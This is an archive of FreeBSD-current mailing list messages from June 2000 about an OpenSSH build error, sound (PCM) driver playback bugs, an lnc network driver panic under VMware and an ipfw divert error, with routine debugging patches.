Sun, 11 Jun 2000 13:55:23 -0500 Date: Sun, 11 Jun 2000 13:55:23 -0500 From: Ade Lovett To: current@FreeBSD.org, kris@FreeBSD.org Subject: OpenSSH b0rked 6/11 Message-ID: <20000611135523.E343@FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From today's buildworld: [...] cc -O -pipe -DLIBWRAP -DLOGIN_ACCESS -I/usr/src/secure/usr.sbin/sshd/../../../usr.bin/login -DSKEY -c /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c: In function `do_exec_pty': /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:651: warning: passing arg 2 of `auth_ttyok' from incompatible pointer type /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c: In function `do_child': /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:866: syntax error before `*' /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:868: `lc' undeclared (first use in this function) /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:868: (Each undeclared identifier is reported only once /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:868: for each function it appears in.) *** Error code 1 Following patch fixes it: Index: session.c =================================================================== RCS file: /home/src/FreeBSD/src/crypto/openssh/session.c,v retrieving revision 1.5 diff -u -r1.5 session.c --- session.c 2000/06/10 22:32:57 1.5 +++ session.c 2000/06/11 18:52:35 @@ -857,14 +857,15 @@ extern char **environ; struct stat st; char *argv[10]; +#ifdef LOGIN_CAP + login_cap_t *lc; +#endif /* login(1) is only called if we execute the login shell */ if (options.use_login && command != NULL) options.use_login = 0; #ifdef LOGIN_CAP - login_cap_t *lc; - lc = login_getpwclass(pw); if (lc == NULL) lc = login_getclassbyname(NULL, pw); -aDe -- Ade Lovett, Austin, TX. ade@FreeBSD.org FreeBSD: The Power to Serve http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 12: 3: 6 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id A6F5037B5F4 for ; Sun, 11 Jun 2000 12:03:03 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id MAA28732; Sun, 11 Jun 2000 12:03:02 -0700 (PDT) (envelope-from dillon) Date: Sun, 11 Jun 2000 12:03:02 -0700 (PDT) From: Matthew Dillon Message-Id: <200006111903.MAA28732@apollo.backplane.com> To: Jonathan Hanna Cc: freebsd-current@FreeBSD.ORG Subject: Re: RE: Strange rpc.statd and mount_nfs References: <200006111610.JAA06425@cr1003333-a.crdva1.bc.home.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :>:- auth_destroy(clp->cl_auth); :>:- clnt_destroy(clp); :>: retrycnt = 0; :>: } :>:+ auth_destroy(clp->cl_auth); :>:+ clnt_destroy(clp); :>:+ so = RPC_ANYSOCK; :> :> Good catch! This patch looks good to me, I am going to go ahead :> and commit it. :> :> Resetting 'so' is good code form, but I went through the rpc code :> and it wasn't an operational bug ... the rpc code can overwrite so :> in the case of a failure but only with '-1', which is RPC_ANYSOCK :> anyway. Still, it's good not to make assumptions. :> :> -Matt : :Without the "so = RPC_ANYSOCK" and no other changes, the "weak credential" :failure turned into a "bad file descriptor" failure, so I think the non -1 :socket fd is being reused. Perhaps the initialization of "so" should be moved :into the retry loop. : :Jonathan Hanna Hmm. Yes, there does appear to be an issue there. The 'goto tryagain' on line 777 is leaving the clp and al_auth allocated as well, so there is a memory leak there too. I'll do a whole cleanup on the code and post a more involved patch. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 12:28:27 2000 Delivered-To: freebsd-current@freebsd.org Received: from mailgate.originative.co.uk (mailgate.originative.co.uk [194.217.50.228]) by hub.freebsd.org (Postfix) with ESMTP id 7DD7937B564; Sun, 11 Jun 2000 12:28:22 -0700 (PDT) (envelope-from paul@originative.co.uk) Received: from originative.co.uk (lobster.originative.co.uk [194.217.50.241]) by mailgate.originative.co.uk (Postfix) with ESMTP id 724EF1D136; Sun, 11 Jun 2000 20:28:20 +0100 (BST) Message-ID: <3943E854.DA94249E@originative.co.uk> Date: Sun, 11 Jun 2000 20:28:20 +0100 From: Paul Richards Organization: Originative Solutions Ltd X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: Brian Somers Cc: Mark Knight , paul@FreeBSD.ORG, freebsd-current@FreeBSD.ORG, wollman@FreeBSD.ORG, julian@FreeBSD.ORG Subject: Re: Panic during boot under current References: <200006051918.UAA00878@hak.lan.Awfulhak.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Brian Somers wrote: > > > In article <200005302211.PAA39853@bubba.whistle.com>, Archie Cobbs > > writes > > >Brian Somers writes: > > >> Also (Mark sits beside me at work), is there anyone else out there > > >> that actually runs FreeBSD-current under VMWare (irrespective of the > > >> host OS) ? > > > > This problem has now been traced down to a bug in the lnc driver, where > > multiple instances are installed. > > > > This surfaced as a result of changes made on 16th May. > > Specifically, the lnc driver declares NLNC softcs. Mark has an isa > style ``device lnc0'' in his config and then uses vmware with two > configured devices. Actually, PCI cards allocated their own softc dynamically, only ISA cards accessed the softc array. > config produces lnc.h which contains ``#define NLNC 1'' and > if_lnc_pci.c dives in and starts writing to the second softc. > > I'll look at fixing this at some point if you don't have time Paul :-I Just got back from the Perl cruise, still catching up with things. > This may have broken because Paul changed the softc decl from static > to just global (so that the other if_lnc*.c modules can get at it).... > either that or Mark has been ``just lucky'' so far and the lnc driver > has never worked properly with more than one device. This would neatly It was working with more than one device (one PCI and one ISA) the day I left, which was 19 May. I think the changes to the PCI and ISA compatibility code modified something relating to unit number allocation that caused the ISA driver to get a unit number > NLNC whereas before the ISA instances would come first and the PCI instances would get unit numbers after the ISA cards, since the PCI part of the driver creates softc structures dynamically that worked fine. Paul. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 12:31: 0 2000 Delivered-To: freebsd-current@freebsd.org Received: from volatile.chemicals.tacorp.com (ci391991-a.grnvle1.sc.home.com [24.9.31.75]) by hub.freebsd.org (Postfix) with ESMTP id 3DC5037B68B for ; Sun, 11 Jun 2000 12:30:55 -0700 (PDT) (envelope-from morganw@chemicals.tacorp.com) Received: (from morganw@localhost) by volatile.chemicals.tacorp.com (8.9.3/8.9.3) id PAA08952; Sun, 11 Jun 2000 15:30:48 -0400 (EDT) (envelope-from morganw) Date: Sun, 11 Jun 2000 15:30:47 -0400 (EDT) From: Wes Morgan To: Donn Miller Cc: current@FreeBSD.ORG Subject: Re: Problems with PCM and ESS 1868 In-Reply-To: <3943CB25.A71BE996@cvzoom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I was about to post something like this myself. I've got an SBLive and I hear the same pops and clicks during any audio playback (mp3/wav/whatever). It all worked great up until a couple days ago. On Sun, 11 Jun 2000, Donn Miller wrote: > The recent commits to PCM, as of a few days back, have given me > problems with my ESS 1868. When I play MP3's with mpg123, I get a lot > of loud pops and clicks during playback. Otherwise, the MP3s DO play > all the way through. However, when I try to play MP3s with Real > Player 7, it just hangs at the beginning, and doesn't play the MP3. > Before the commits to PCM, I was able to play MP3s OK with Real Player > 7. -- _ __ ___ ____ ___ ___ ___ Wesley N Morgan _ __ ___ | _ ) __| \ wesleymorgan@home.com _ __ | _ \._ \ |) | FreeBSD: The Power To Serve _ |___/___/___/ Hi! I'm a .signature virus! Copy me into your ~/.signature to help me spread! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 12:47:20 2000 Delivered-To: freebsd-current@freebsd.org Received: from pike.cdrom.com (pike.osd.bsdi.com [204.216.28.222]) by hub.freebsd.org (Postfix) with ESMTP id B04AF37B534 for ; Sun, 11 Jun 2000 12:47:17 -0700 (PDT) (envelope-from cshumway@cdrom.com) Received: from localhost (cshumway@localhost) by pike.cdrom.com (8.9.3/8.9.3) with ESMTP id MAA07828 for ; Sun, 11 Jun 2000 12:47:08 -0700 (PDT) (envelope-from cshumway@cdrom.com) Date: Sun, 11 Jun 2000 12:47:08 -0700 (PDT) From: Christopher Shumway To: current@FreeBSD.ORG Subject: Re: Problems with PCM and ESS 1868 In-Reply-To: <3943CB25.A71BE996@cvzoom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 11 Jun 2000, Donn Miller wrote: > The recent commits to PCM, as of a few days back, have given me > problems with my ESS 1868. When I play MP3's with mpg123, I get a lot > of loud pops and clicks during playback. Otherwise, the MP3s DO play > all the way through. However, when I try to play MP3s with Real > Player 7, it just hangs at the beginning, and doesn't play the MP3. > Before the commits to PCM, I was able to play MP3s OK with Real Player > 7. I hate to post a "me-too", but here it goes. I'm also experencing similar problems with pcm on my laptop with the neomagic driver. Running "amp -s" which reports the number of frames written to the sound device, will write about 20 frames, and then hang in the state of [pcmwr] until ctrl-c is pressed. It sounds like theres a DMA transfer problem. Doing something like "cat /kernel > /dev/audio" will also just loop the first 1/2 second over and over. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 12:51:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id 5DB3137B77F; Sun, 11 Jun 2000 12:51:40 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.9.3/8.9.3) with ESMTP id PAA259784; Sun, 11 Jun 2000 15:51:37 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <200006111747.KAA14537@mass.cdrom.com> References: <200006111747.KAA14537@mass.cdrom.com> Date: Sun, 11 Jun 2000 15:51:56 -0400 To: Mike Smith , "Daniel C. Sobral" From: Garance A Drosihn Subject: Re: VMware detection code in boot loader Cc: current@FreeBSD.ORG, emulation@FreeBSD.ORG Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 10:47 AM -0700 6/11/00, Mike Smith wrote: >It's not a port, it's a platform. We probably want to add extra >words to detect other platform features, eg. i386, alpha, ia64, >etc. but that doesn't invalidate the basic idea. For instance, I might be running the vmware program itself under linux, and thus I am doing nothing with a "freebsd port" of vmware. At system startup, vmware is just a (virtual) hardware platform that the OS might want to be aware of. --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 13:19:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from MexComUSA.Net (adsl-63-200-120-86.dsl.mtry01.pacbell.net [63.200.120.86]) by hub.freebsd.org (Postfix) with ESMTP id 49DF737B61E for ; Sun, 11 Jun 2000 13:19:51 -0700 (PDT) (envelope-from eculp@EnContacto.Net) Received: from EnContacto.Net (adsl-63-205-16-202.dsl.mtry01.pacbell.net [63.205.16.202]) by MexComUSA.Net (8.9.3/8.9.3) with ESMTP id NAA57739 for ; Sun, 11 Jun 2000 13:19:10 -0700 (PDT) (envelope-from eculp@EnContacto.Net) Message-ID: <3943F45F.DCFB22DC@EnContacto.Net> Date: Sun, 11 Jun 2000 13:19:44 -0700 From: Edwin Culp Organization: MexComUSA.Net/EnContacto.Net X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: "current@FreeBSD.ORG" Subject: setsockopt(IP_FW_ADD) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG 00050 divert 8668 ip from any to any via dc0 ipfw: setsockopt(IP_FW_ADD): Invalid argument I'm getting this error with ipfw running current as of this morning. Has something changed? Thanks, ed To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 13:27:20 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.tar.com (ns.tar.com [204.95.187.2]) by hub.freebsd.org (Postfix) with ESMTP id 51B8837B8E4; Sun, 11 Jun 2000 13:27:09 -0700 (PDT) (envelope-from dick@tar.com) Received: from test.tar.com (test [204.95.187.4]) by ns.tar.com (8.9.3/8.9.3) with ESMTP id PAA34200; Sun, 11 Jun 2000 15:26:58 -0500 (CDT) (envelope-from dick@tar.com) Received: by test.tar.com (Postfix, from userid 1000) id 2B25181D07; Sun, 11 Jun 2000 15:26:57 -0500 (CDT) Date: Sun, 11 Jun 2000 15:26:56 -0500 From: "Richard Seaman, Jr." To: "Jordan K. Hubbard" Cc: Brian Somers , Cameron Grant , current@FreeBSD.org Subject: PCM problems (was Re: cvs commit: src/sys/dev/sound/pcm channel.c) Message-ID: <20000611152656.A516@tar.com> References: <20000609144558.B566@tar.com> <66833.960646558@localhost> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="wRRV7LY7NUeQGEoC" X-Mailer: Mutt 1.0.1i In-Reply-To: <66833.960646558@localhost>; from jkh@zippy.cdrom.com on Sat, Jun 10, 2000 at 07:15:58AM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --wRRV7LY7NUeQGEoC Content-Type: text/plain; charset=us-ascii Note: CC list has been trimmed, and moved to -current from -committers as there are related comments on this issue on -current. On Sat, Jun 10, 2000 at 07:15:58AM -0700, Jordan K. Hubbard wrote: > I'm also finding that applications like mpg123 don't play audio > anymore whereas that very application does with a May 15th kernel, > that being the most recent "old" kernel I have lying around on this > laptop. If I play a WAV file with waveplay, it works fine. That > does tend to suggest that the speed at which you can cram data down > the audio subsystem's throat is a factor. > > - Jordan > > > On Fri, Jun 09, 2000 at 02:11:29PM -0500, Richard Seaman, Jr. wrote: > > > > > > If I just cat a .au file into /dev/audio, I get about 1/4 of a second > > > > of plan and then silence, with & without the patch. > > > > > > Your symptoms are different then. Don't know if the cause is the > > > same. > > > > Thinking about this some more, and as a followup to my last message, here's > > what I'm guessing is happening to you. > > > > You fill the device buffers very rapidly. Since chn_wrintr is not getting > > called as dma activity occurs, the only time the dma pointers can get updated > > and therefore indicate that the buffers aren't full is when you write to > > the buffers -- but you can't because they're already marked full. ie. > > you're deadlocked. The sound you hear is the dma buffers emptying, but your > > app never knows it happened because the buffers are still marked full. > > > > My case is the opposite side of the problem. My app doesn't always fill the > > buffers fast enough, and the dma pointers get corruped. > > > > I'd guess that those that don't have problems either a) are getting > > dma interrupts, or b) manage to fill the buffers at a rate that is > > neither too fast nor too slow. I don't know if all the reported pcm problems are related. In my case it appears that the pcm driver expects to get dma interrupts, but isn't getting them. Don't know if thats a hardware problem that is unique to my old Gus PnP Pro that I just recently pulled off the scrap heap and installed. However, a number of the problems others have reported were reproducable here. I've been running the attached patch to channel.c in sys/dev/sound/pcm. With this, I am able to play mp3 files with both mpq123 and RealPlayer7, wav files with waveplay, and 'cat XXX.au > /dev/audio' works fine. These patches don't solve the lack of dma interrupts, but appear to work around them. If you are getting dma interrupts, you will get a flood of "chn_wrintr" messages, and you will probably want to disable the related printf in this case. Also, your problem in this case is probably different than mine. Also, the "DEB(x) x" statement will generate some debugging junk in your log files, so you might want to comment this out if you don't want it. I haven't tried these for recording, so I have no idea if they work for recording. From comments Brian Somers has made, I gather this will probably still not solve his problems. I wonder if Cameron Grant could confirm whether the driver expects dma interrupts in all cases? -- Richard Seaman, Jr. email: dick@tar.com 5182 N. Maple Lane phone: 262-367-5450 Nashotah WI 53058 fax: 262-367-5852 --wRRV7LY7NUeQGEoC Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=diffs Index: channel.c =================================================================== RCS file: /home/ncvs/src/sys/dev/sound/pcm/channel.c,v retrieving revision 1.28 diff -u -r1.28 channel.c --- channel.c 2000/06/06 22:30:22 1.28 +++ channel.c 2000/06/11 16:25:26 @@ -35,10 +35,10 @@ #define ISA_DMA(b) (((b)->chan >= 0 && (b)->chan != 4 && (b)->chan < 8)) #define CANCHANGE(c) (!(c)->buffer.dl) -/* + #define DEB(x) x -*/ -static void buf_clear(snd_dbuf *b, u_int32_t fmt, int length); + +static void buf_clear(snd_dbuf *b, u_int32_t fmt, int start, int length); static void chn_dmaupdate(pcm_channel *c); static void chn_wrintr(pcm_channel *c); static void chn_rdintr(pcm_channel *c); @@ -187,15 +187,20 @@ hwptr = chn_getptr(c); if (c->direction == PCMDIR_PLAY) { delta = (b->bufsize + hwptr - b->rp) % b->bufsize; + buf_clear(b, b->fmt, b->rp, delta); b->rp = hwptr; b->rl -= delta; b->fl += delta; - if (b->rl < 0) { + b->rl = 0; + b->fl = b->bufsize; + } + if (b->rl < 0) { DEB(printf("OUCH!(%d) rl %d(%d) delta %d bufsize %d hwptr %d rp %d(%d)\n", chn_updatecount++, b->rl, b_rl, delta, b->bufsize, hwptr, b->rp, b_rp)); } } else { delta = (b->bufsize + hwptr - b->fp) % b->bufsize; + buf_clear(b, b->fmt, b->fp, delta); b->fp = hwptr; b->rl += delta; b->fl -= delta; @@ -233,7 +238,7 @@ b->fl = b->bufsize - b->rl; b->underflow = 0; } else { - /* chn_dmaupdate(c); */ + chn_dmaupdate(c); } } @@ -275,7 +280,7 @@ b->fl -= l; b->fp = (b->fp + l) % b->bufsize; /* Clear the new space in the secondary buffer. */ - buf_clear(bs, bs->fmt, l); + /* buf_clear(bs, bs->fmt, l); */ /* Accumulate the total bytes of the moved samples. */ lacc += l; /* A feed to the DMA buffer is equivalent to an interrupt. */ @@ -340,7 +345,8 @@ chn_wrintr(pcm_channel *c) { snd_dbuf *b = &c->buffer; - + + printf ("chn_wrintr hit\n"); if (b->underflow && !(c->flags & CHN_F_MAPPED)) { /* printf("underflow return\n"); */ return; /* nothing new happened */ @@ -369,7 +375,7 @@ chn_wrfeed(c); else { while (chn_wrfeed(c) > 0); - buf_clear(b, b->fmt, b->fl); + /*buf_clear(b, b->fmt, b->fp, b->fl);*/ } chn_dmawakeup(c); if (c->flags & CHN_F_TRIGGERED) { @@ -394,7 +400,7 @@ * we are near to underflow condition, so to prevent * audio 'clicks' clear next b->fl bytes */ - buf_clear(b, b->fmt, b->fl); + buf_clear(b, b->fmt, b->fp, b->fl); if (b->rl < DMA_ALIGN_THRESHOLD) b->underflow = 1; } @@ -403,7 +409,7 @@ DEB(printf("underflow, flags 0x%08x rp %d rl %d\n", c->flags, b->rp, b->rl)); if (b->dl) { /* DMA was active */ b->underflow = 1; /* set underflow flag */ - buf_clear(b, b->fmt, b->bufsize); + buf_clear(b, b->fmt, 0, b->bufsize); } } } @@ -498,8 +504,9 @@ if (ret == EINTR || ret == ERESTART) break; } - } else + } /* else ret = 0; + */ c->flags &= ~CHN_F_WRITING; splx(s); return ret; @@ -611,7 +618,7 @@ bs->rl -= w; bs->rp = (bs->rp + w) % bs->bufsize; /* Clear the new space in the secondary buffer. */ - buf_clear(bs, bs->fmt, l); + /*buf_clear(bs, bs->fmt, bs->fp, l);*/ /* Accumulate the total bytes of the moved samples. */ bs->total += w; wacc += w; @@ -823,7 +830,7 @@ } static void -buf_clear(snd_dbuf *b, u_int32_t fmt, int length) +buf_clear(snd_dbuf *b, u_int32_t fmt, int start, int length) { int i; u_int16_t data, *p; @@ -846,8 +853,8 @@ if (fmt & AFMT_BIGENDIAN) data = ((data >> 8) & 0x00ff) | ((data << 8) & 0xff00); - i = b->fp; - p = (u_int16_t *)(b->buf + b->fp); + i = start; + p = (u_int16_t *)(b->buf + start); while (length > 0) { *p++ = data; length -= 2; @@ -873,7 +880,7 @@ b->prev_int_count = b->int_count = 0; b->underflow = 0; if (b->buf && b->bufsize > 0) - buf_clear(b, b->fmt, b->bufsize); + buf_clear(b, b->fmt, b->fp, b->bufsize); bs->rp = bs->fp = 0; bs->dl = bs->rl = 0; @@ -882,7 +889,7 @@ bs->prev_int_count = bs->int_count = 0; bs->underflow = 0; if (bs->buf && bs->bufsize > 0) - buf_clear(bs, bs->fmt, bs->bufsize); + buf_clear(bs, bs->fmt, bs->fp, bs->bufsize); } void @@ -1214,7 +1221,7 @@ bs->bufsize = bufsz; bs->rl = bs->rp = bs->fp = 0; bs->fl = bs->bufsize; - buf_clear(bs, bs->fmt, bs->bufsize); + buf_clear(bs, bs->fmt, bs->fp, bs->bufsize); bs->blkcnt = blkcnt; bs->blksz = blksz; b->blksz = c->setblocksize(c->devinfo, blksz); --wRRV7LY7NUeQGEoC-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 13:28: 8 2000 Delivered-To: freebsd-current@freebsd.org Received: from server1.mich.com (server1.mich.com [198.108.16.2]) by hub.freebsd.org (Postfix) with ESMTP id 2FD4037B973 for ; Sun, 11 Jun 2000 13:28:00 -0700 (PDT) (envelope-from will@almanac.yi.org) Received: from argon.gryphonsoft.com (pm005-041.dialup.bignet.net [64.79.80.233]) by server1.mich.com (8.9.3/8.9.3) with ESMTP id QAA28839; Sun, 11 Jun 2000 16:27:45 -0400 Received: by argon.gryphonsoft.com (Postfix, from userid 1000) id 9F3511951; Sun, 11 Jun 2000 16:25:57 -0400 (EDT) Date: Sun, 11 Jun 2000 16:25:57 -0400 From: Will Andrews To: Edwin Culp Cc: "current@FreeBSD.ORG" Subject: Re: setsockopt(IP_FW_ADD) Message-ID: <20000611162557.D22479@argon.gryphonsoft.com> References: <3943F45F.DCFB22DC@EnContacto.Net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <3943F45F.DCFB22DC@EnContacto.Net>; from eculp@EnContacto.Net on Sun, Jun 11, 2000 at 01:19:44PM -0700 X-Operating-System: FreeBSD 5.0-CURRENT i386 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Jun 11, 2000 at 01:19:44PM -0700, Edwin Culp wrote: > 00050 divert 8668 ip from any to any via dc0 > ipfw: setsockopt(IP_FW_ADD): Invalid argument > > I'm getting this error with ipfw running current as of this morning. > Has something changed? Other than that you forgot options IPDIVERT in your kernel? -- Will Andrews GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ G++>+++ e->++++ h! r-->+++ y? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 13:58: 6 2000 Delivered-To: freebsd-current@freebsd.org Received: from info.iet.unipi.it (info.iet.unipi.it [131.114.9.184]) by hub.freebsd.org (Postfix) with ESMTP id CFA0F37BA32 for ; Sun, 11 Jun 2000 13:58:02 -0700 (PDT) (envelope-from luigi@info.iet.unipi.it) Received: (from luigi@localhost) by info.iet.unipi.it (8.9.3/8.9.3) id WAA12389; Sun, 11 Jun 2000 22:59:28 +0200 (CEST) (envelope-from luigi) From: Luigi Rizzo Message-Id: <200006112059.WAA12389@info.iet.unipi.it> Subject: Re: setsockopt(IP_FW_ADD) In-Reply-To: <3943F45F.DCFB22DC@EnContacto.Net> from Edwin Culp at "Jun 11, 2000 01:19:44 pm" To: Edwin Culp Date: Sun, 11 Jun 2000 22:59:28 +0200 (CEST) Cc: "current@FreeBSD.ORG" X-Mailer: ELM [version 2.4ME+ PL61 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > 00050 divert 8668 ip from any to any via dc0 > ipfw: setsockopt(IP_FW_ADD): Invalid argument > > I'm getting this error with ipfw running current as of this morning. > Has something changed? well, there was a commit to dummynet few days ago, which requires you to recompile ipfw. cheers luigi -----------------------------------+------------------------------------- Luigi RIZZO, luigi@iet.unipi.it . Dip. di Ing. dell'Informazione http://www.iet.unipi.it/~luigi/ . Universita` di Pisa TEL/FAX: +39-050-568.533/522 . via Diotisalvi 2, 56126 PISA (Italy) Mobile +39-347-0373137 -----------------------------------+------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 14:13: 6 2000 Delivered-To: freebsd-current@freebsd.org Received: from MexComUSA.Net (adsl-63-200-120-86.dsl.mtry01.pacbell.net [63.200.120.86]) by hub.freebsd.org (Postfix) with ESMTP id 1745D37BA58 for ; Sun, 11 Jun 2000 14:13:02 -0700 (PDT) (envelope-from eculp@EnContacto.Net) Received: from EnContacto.Net (adsl-63-205-16-202.dsl.mtry01.pacbell.net [63.205.16.202]) by MexComUSA.Net (8.9.3/8.9.3) with ESMTP id OAA57885; Sun, 11 Jun 2000 14:12:19 -0700 (PDT) (envelope-from eculp@EnContacto.Net) Message-ID: <394400D5.4C2CC488@EnContacto.Net> Date: Sun, 11 Jun 2000 14:12:54 -0700 From: Edwin Culp Organization: MexComUSA.Net/EnContacto.Net X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Will Andrews Cc: "current@FreeBSD.ORG" Subject: Re: setsockopt(IP_FW_ADD) References: <3943F45F.DCFB22DC@EnContacto.Net> <20000611162557.D22479@argon.gryphonsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Will Andrews wrote: > On Sun, Jun 11, 2000 at 01:19:44PM -0700, Edwin Culp wrote: > > 00050 divert 8668 ip from any to any via dc0 > > ipfw: setsockopt(IP_FW_ADD): Invalid argument > > > > I'm getting this error with ipfw running current as of this morning. > > Has something changed? > > Other than that you forgot > > options IPDIVERT You're right. I took out all my IPFIREWALL options to use the kldmodule ipfw.ko. I didn't realize that the IPDIVERT option was still needed. Thanks, I'll recompile as soon as I finish a new cvsup and can see why I'm getting a coda message with config kernel ../../conf/files: coda/coda_fbsd.c must be optional, mandatory or standard The fun never stops:-) Thanks again, ed > > > in your kernel? > > -- > Will Andrews > GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- > ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ > G++>+++ e->++++ h! r-->+++ y? > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 14:13:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from c1030098-a.wtrlo1.ia.home.com (c1030098-a.wtrlo1.ia.home.com [24.14.126.45]) by hub.freebsd.org (Postfix) with ESMTP id 7724C37BA58 for ; Sun, 11 Jun 2000 14:13:22 -0700 (PDT) (envelope-from mdharnois@home.com) Received: (from mdharnois@localhost) by c1030098-a.wtrlo1.ia.home.com (8.9.3/8.9.3) id QAA92275; Sun, 11 Jun 2000 16:13:16 -0500 (CDT) (envelope-from mdharnois@home.com) X-Authentication-Warning: mharnois.workgroup.net: mdharnois set sender to mdharnois@home.com using -f To: freebsd-current@freebsd.org Subject: sshd broken in current From: Michael Harnois Date: 11 Jun 2000 16:13:15 -0500 Message-ID: <863dmjudjo.fsf@mharnois.workgroup.net> Lines: 26 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c: In function `do _exec_pty': /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:651: warning: pa ssing arg 2 of `auth_ttyok' from incompatible pointer type /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c: In function `do _child': /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:866: syntax erro r before `*' /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:868: `lc' undecl ared (first use in this function) /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:868: (Each undec lared identifier is reported only once /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:868: for each fu nction it appears in.) *** Error code 1 Stop in /usr/src/secure/usr.sbin/sshd. *** Error code 1 -- 